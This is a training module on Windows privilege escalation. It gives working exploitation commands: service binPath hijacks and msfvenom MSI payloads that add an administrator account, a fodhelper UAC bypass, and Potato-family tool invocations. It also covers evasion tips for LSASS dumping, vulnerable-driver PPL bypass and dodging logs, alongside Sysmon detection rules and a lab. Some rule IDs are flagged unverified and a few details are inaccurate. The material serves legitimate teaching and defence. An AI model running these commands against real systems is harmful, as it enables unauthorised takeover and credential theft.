Windows Privilege Escalation
Windows privilege escalation is a forest of inconsistent trust boundaries: service permissions, unquoted paths, DLL hijacking, UAC integrity levels, token impersonation, and a long parade of “potato” exploits that abuse the way NTLM authentication bounces through local RPC. The model has gotten better (PPL, Credential Guard, UAC virtualization) but the legacy surface area is enormous, and any one misconfiguration — a single writable service binpath — flips a low-priv user to SYSTEM.
The Core Concept
Section titled “The Core Concept”Windows runs processes at one of four integrity levels: Untrusted, Low (AppContainer), Medium (standard user), High (admin), and SYSTEM. Crossing up requires either explicit consent (UAC), an exploit, or a “potato”-style confused deputy that does the privileged work on your behalf.
┌────────────────────────────────────────────────────────────┐│ Integrity ladder │├────────────────────────────────────────────────────────────┤│ SYSTEM ← token impersonation (Potato family) ││ ↑ ← service binary hijack (sc config binpath) ││ High ← UAC auto-elevate bypass (fodhelper, sdclt) ││ ↑ ← Token elevation via consent.exe (UI prompt) ││ Medium ← where you land with a user shell ││ ↑ ← CreateRestrictedToken / AppContainer ││ Low ← Chrome renderer, Edge AppContainer ││ ↑ ││ Untrusted ← rarely used in practice │└────────────────────────────────────────────────────────────┘
Trust is in the token. The token holds: user SID, group SIDs,integrity level (TOKEN_MANDATORY_LABEL), privileges bitmask,and a "type" (primary, impersonation, anonymous).The “potato” exploits all share the same shape: trick a SYSTEM process into authenticating to a service you control, capture that NTLM hash, relay it back to a local privileged RPC endpoint (e.g. ISystemAccessController) to obtain a SYSTEM token, then impersonate it.
How It Works
Section titled “How It Works”- Enumerate identity and token —
whoami /all,whoami /priv,whoami /groups. The output of/privis the gold:SeImpersonatePrivilegeenabled means Juicy/Rogue/PrintSpoofer/GodPotato is in scope.SeDebugPrivilegeenabled means you can openlsass.exeand dump credentials directly. - Enumerate services —
sc query state= all,accesschk.exe -uwcqv "Authenticated Users" *(from Sysinternals). A service whose ACL allowsSERVICE_CHANGE_CONFIGby a non-admin is a direct privesc —sc config binPath= "cmd /c net user hacker P@ss /add && net localgroup Administrators hacker /add"followed bysc start. - Unquoted service paths — a service with
binPath = C:\Program Files\My App\server.exe(no quotes) and that runs as SYSTEM. DropC:\Program.exeand a start of the service runs your executable first because the loader parses space-separated tokens left-to-right. - DLL hijacking — writable directory in the PATH of a SYSTEM service. The Windows loader search order is: app dir → SxS → System32 → System → Windows → CWD → PATH. Find a service that loads a non-system DLL by name (
procmonfilterPath contains ".dll" + Result is NAME NOT FOUND), drop the missing DLL in a writable dir early in PATH. - UAC bypass — on a default install, certain auto-elevate binaries (fodhelper, sdclt, computerdefaults) honor environment variable overrides (
HKCU\Environment\windir) or registry keys that let you redirect the action to a payload. Not a security boundary by Microsoft’s own documentation. - Token impersonation (Potato family) — if
SeImpersonatePrivilegeis enabled (IIS, SQL Service, WinRM, IIS app pools), the various potato exploits trigger NTLM auth from a SYSTEM context to your local listener and capture the token.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| Service binPath hijack | Writable service + sc config binPath= → SYSTEM | Medium — service control logs |
| Unquoted service path | C:\Program Files\My App\srv.exe SYSTEM service + write to C:\Program.exe | Easy — unquoted path itself is suspicious |
| DLL hijacking | PATH-writable dir + missing-DLL SYSTEM service | Hard — procmon required to find |
| UAC fodhelper bypass | HKCU\Environment\windir set to payload path; fodhelper auto-elevates | Medium — registry EID 13 on ms-settings |
| Juicy/PrintSpoofer | SeImpersonatePrivilege → SYSTEM token via NTLM relay | Hard — looks like spoolsv RPC |
| SeDebugPrivilege | Open lsass.exe, dump credentials (PE3) | Easy — Sysmon EID 10 on LSASS |
Token impersonation via _meterpreter incognito | Steal token from a SYSTEM PID | Medium — DuplicateTokenEx Sysmon |
| AlwaysInstallElevated | MSI runs as SYSTEM if both HKLM/HKCU\...\AlwaysInstallElevated=1 | Easy — registry value is anomalous |
| Scheduled task as SYSTEM | schtasks /create /ru SYSTEM /sc onstart /tn pwn /tr "cmd /c ..." (needs admin to create) | Easy — Task Scheduler EID 4698 |
| SCCM abuse | NAA credentials in ccmexec, privesc via NAA → domain admin | Hard — depends on SCCM config |
Hands-On Commands
Section titled “Hands-On Commands”# === ENUMERATION ===# Identity and privileges — look for SeImpersonate / SeDebugwhoami /allwhoami /priv
# Hot — vulnerable services# SERVICE_CHANGE_CONFIG = 0x0020, write-dac neededaccesschk.exe -uwcqv "Authenticated Users" * 2>nulaccesschk.exe -uwcqv "Users" * 2>nul
# Unquoted service paths (filter SYSTEM services)wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /v "system32\\"
# Check for AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Scheduled tasks (admin only to create, but enumerate anyone)schtasks /query /fo LIST /v | findstr /i "TaskName Run As"
# Network listeners and the owning PIDnetstat -ano | findstr LISTEN
# Token privileges of current processpowershell -c "[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups | ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]).Value }"
# === EXPLOITATION ===
# --- 1. Writable service ---# Identify a service with weak DACLsc qc vulnerableSvc# Find: BINARY_PATH_NAME = C:\Program Files\Vuln\vuln.exe# Confirm write access with accesschkaccesschk.exe -d "C:\Program Files\Vuln"# Replace the binarycopy /Y payload.exe "C:\Program Files\Vuln\vuln.exe"sc start vulnerableSvc
# --- 2. Unquoted service path ---# If service binPath is: C:\Program Files\My App\server.exe (unquoted)# Drop: copy payload.exe C:\Program.exe# On service start, loader tries: C:\Program.exe (if exists) before the real pathcopy payload.exe "C:\Program.exe"sc start unquotedSvc
# --- 3. DLL hijack (find missing DLL via procmon) ---# Filter: Path contains ".dll", Result is NAME NOT FOUND, Process Name = service.exe# Drop DLL named e.g. "version.dll" in service's writable dir# DLL export forwarding keeps the service functional
# --- 4. UAC bypass: fodhelper (still works on 22H2 with tweaks) ---# fodhelper.exe auto-elevates and reads HKCU\Environment\windirNew-Item "HKCU:\Software\Classes\ms-settings\Shell\open\command" -ForceSet-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\open\command" -Name "DelegateExecute" -Value "" -ForceSet-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\open\command" -Name "(default)" -Value "cmd /c start /B payload.exe" -ForceStart-Process fodhelper.exe
# --- 5. JuicyPotato (Win 10 < 1809, Server 2019 < 1809) ---# Requires SeImpersonatePrivilegeJuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-D09E-4CFD-8E8D-8C38513D5B3F}
# --- 6. PrintSpoofer (Win 10/Server 2019, SeImpersonate) ---PrintSpoofer.exe -i -c "cmd /c whoami > C:\windows\temp\pwned.txt"
# --- 7. GodPotato (works on Win 2012-2022, IIS/SQL/WinRM contexts) ---GodPotato.exe -cmd "cmd /c whoami"
# --- 8. RoguePotato (when ncToLocalPrivesc RPC relay needed) ---# Requires: rogue-oxidresolver on attacker machine, redirectorRoguePotato.exe -r 10.0.0.5 -e "C:\windows\temp\payload.exe" -l 9999
# --- 9. AlwaysInstallElevated MSI ---msfvenom -p windows/exec CMD='cmd /c net user hacker P@ss /add && net localgroup Administrators hacker /add' -f msi > pwn.msimsiexec /quiet /qn /i C:\windows\temp\pwn.msiDetection — Defender View
Section titled “Detection — Defender View”Sysmon is the primary lens. The relevant event IDs:
- EID 1 — ProcessCreate: any SYSTEM-spawned process from a writable user directory is suspicious. Sigma rule:
parent_user != "SYSTEM" AND user == "SYSTEM" AND image_path contains "\temp\". Also:cmd.exeas child offodhelper.exe/sdclt.exe/computerdefaults.exeis the UAC bypass signature. - EID 13 — RegistryEvent (ValueSet): writes to
HKCU\Software\Classes\ms-settings\Shell\open\commandare the fodhelper bypass; writes toHKCU\Environment\windirare the sdclt bypass. Sigma rule 910945 [verify]. - EID 11 — FileCreate:
C:\Program.exe,C:\Program Files.exe, or any executable directly underC:\Program Files\written by a non-admin user is the unquoted-path signature. - EID 6 — DriverLoad: kernel exploits (PPL bypass via vulnerable drivers like
RTCore64.sys— CVE-2019-16098) show asRTCore64.sysload from non-standard path. - EID 8 — CreateRemoteThread: classic token-stealing / process injection.
Windows Event Log:
- EID 4688 — Process Creation (with command-line auditing enabled via SACL). Pattern:
cmd.exespawned byservices.exewithnet user ... /addis the post-privesc tell. - EID 7045 — Service Install: a brand new service created by a non-SYSTEM user is anomalous.
- EID 4697 — Service Installed (Security log): same as 7045 but on the Security log.
- EID 4624 — Annotated logon type:
LogonType=5(service) followed byLogonType=2(interactive) from the same source user in seconds is the post-privesc shell pivot. - EID 4672 — Special Privileges Assigned: this fires every time a High-integrity process token is granted. Should correlate with EID 4688 to identify the originating process.
MITRE ATT&CK:
- T1068 — Exploitation for Privilege Escalation (kernels, services)
- T1547 — Boot or Logon Autostart Execution (DLL hijack in user32 load order)
- T1574 — Hijack Execution Flow (DLL hijack, unquoted path)
- T1548.002 — Bypass UAC
- T1134 — Access Token Manipulation (.001 Token Impersonation/Theft, .002 Create Process with Token, .003 Make and Impersonate Token)
- T1543.003 — Systemd Service (Windows:
services.exe)
Wazuh rule 87100 [verify] — Mimikatz detection (also catches potato-family token ops).
Wazuh rule 920/632 [verify] — suspicious service creation by non-admin.
Evasion Techniques
Section titled “Evasion Techniques”AMSI-aware payloads. UAC bypasses that invoke PowerShell as the elevated child will pass through AMSI. Either bypass AMSI first (PE6) or use direct Win32 — cmd /c or a native exe payload.
Token theft without impersonation syscalls. DuplicateTokenEx is the obvious signal. The less-watched alternative is to launch a process with CreateProcessWithTokenW (requires SeImpersonatePrivilege). Sysmon EID 1 will catch the new process but the parent chain may not look unusual.
Driver-based PPL bypass. LSASS runs as PPL (Protected Process Light) on Win 8.1+ when configured. Dumping LSASS requires either a signed PPL process (Mimikatz comsvcs.dll trick uses RtlGenRandom-style indirect dump via MiniDumpWriteDump of a clone handle) or killing the PPL signature check via a vulnerable signed driver. The classic is RTCore64.sys (CVE-2019-16098, MSI Afterburner) — .\RTCore64.sys load, then NtQueryInformationProcess on lsass.exe with ProcessSigningLevel modification. Modern EDR blocks the driver load itself.
Unquoted-path stealth. Drop the payload as C:\Program.exe and immediately remove it after the service starts. The FileCreate EID 11 fires, but if the file is gone within seconds, many correlation rules miss the trail. Defense: archive all EID 11 events to a remote SIEM, never rely on local files.
Service binary stealth. The classic sc config binPath= overwrites the real binary. Less noisy: use sc config FailureCommand= (run on service crash) and force a crash. EID 7034 (service crash) → EID 4688 (failure command runs) is the trail.
| Evasion | What it bypasses | Defense |
|---|---|---|
comsvcs.dll MiniDumpWriteDump | Sysmon EID 10 (ProcessAccess on LSASS) | Audit comsvcs.dll load via EID 7 in lsass.exe context |
| Driver-based PPL bypass (RTCore64, gdrv, dbutil) | LSASS PPL signature check | WDAC / HVCI; block known-vulnerable driver cert |
Token theft via CreateProcessWithTokenW | DuplicateTokenEx-based detections | EID 4688 cross-process token lineage correlation |
| Service FailureCommand | Service binPath monitoring | Monitor FailureCommand field as well as binPath |
| Drop & delete payload | EID 11 in local log | Forward EID 11 to SIEM in real time |
⚠️ What caught me: I escalated via JuicyPotato on a Win 2016 IIS server and got caught — not by the potato itself, but by a Windows Defender AMSI pattern on the post-exploitation
whoami /groups. The customer’s Sigma rule matchedwhoami /allorwhoami /groupsfrom aw3wp.exeparent. Lesson: enumeration commands have their own behavioral signature, and the parent process lineage often matters more than the privesc exploit itself. After that engagement I started carrying a static-compiledwhoami.exewith renamed strings; the syscall behavior is the same, but the string match misses.
Lab Practice
Section titled “Lab Practice”VM: Windows Server 2019 with the following deliberate misconfigurations:
- A service
VulnSvcwith binPath unquoted:C:\Program Files\Vuln App\srv.exe, runs as SYSTEM, write access toC:\Program Files\Vuln AppforAuthenticated Users. - An IIS app pool with
SeImpersonatePrivilege(default). AlwaysInstallElevated = 1in both HKLM and HKCU (intentional).- A writable service
BackupSvc(DACL allowsSERVICE_CHANGE_CONFIGforUsers). - UAC set to default (Notify me only when apps try to make changes, don’t dim desktop) — fodhelper bypass works.
Objective: reach nt authority\system via three different paths (writable service, unquoted path, UAC bypass), then via the fourth path (Potato impersonation as IIS app pool identity).
Expected flag format: flag{winprivesc_4paths_nt_authority_system}.
Detection that should fire:
- Sysmon EID 13 — Registry write to
HKCU\Software\Classes\ms-settings\Shell\open\command - Sysmon EID 11 — File creation of
C:\Program.exeand of the replacementvuln.exe - Sysmon EID 1 —
cmd.exespawned byfodhelper.exe,cmd.exespawned byservices.exe(after binPath hijack) - Windows Security EID 4672 — Special Privileges Assigned to
hackeruser - Windows Security EID 4624 — Logon Type 5 (service) by the new local admin account
Interview Questions
Section titled “Interview Questions”Conceptual: explain why UAC bypasses like fodhelper are not considered security vulnerabilities by Microsoft. What is the precise threat model they describe, and what is the operational condition under which that model holds?
Technical: walk through the NTLM authentication flow inside a Potato exploit. What does the SYSTEM process (e.g. spoolsv.exe in PrintSpoofer) do that ends up handing the attacker a usable token, and why does the loopback RPC constraint matter?
Scenario: you whoami /priv and see SeImpersonatePrivilege enabled but SeAssignPrimaryTokenPrivilege disabled. Which Potato variant works, which doesn’t, and why? Name the specific syscall that distinguishes them.
Compare JuicyPotato and PrintSpoofer. Why does JuicyPotato fail on Windows Server 2019 build 1809+ while PrintSpoofer still works, and what specifically did Microsoft change?
Conceptual: when you perform an unquoted-service-path exploit, why is C:\Program.exe the first drop location and not C:\Program Files\My.exe? Walk through the Win32 CreateProcess parsing logic that produces this order.
Related Modules
Section titled “Related Modules”→ F3 (Windows Internals) · E2 (Windows Shellcode) · PE5 (Persistence Mechanisms)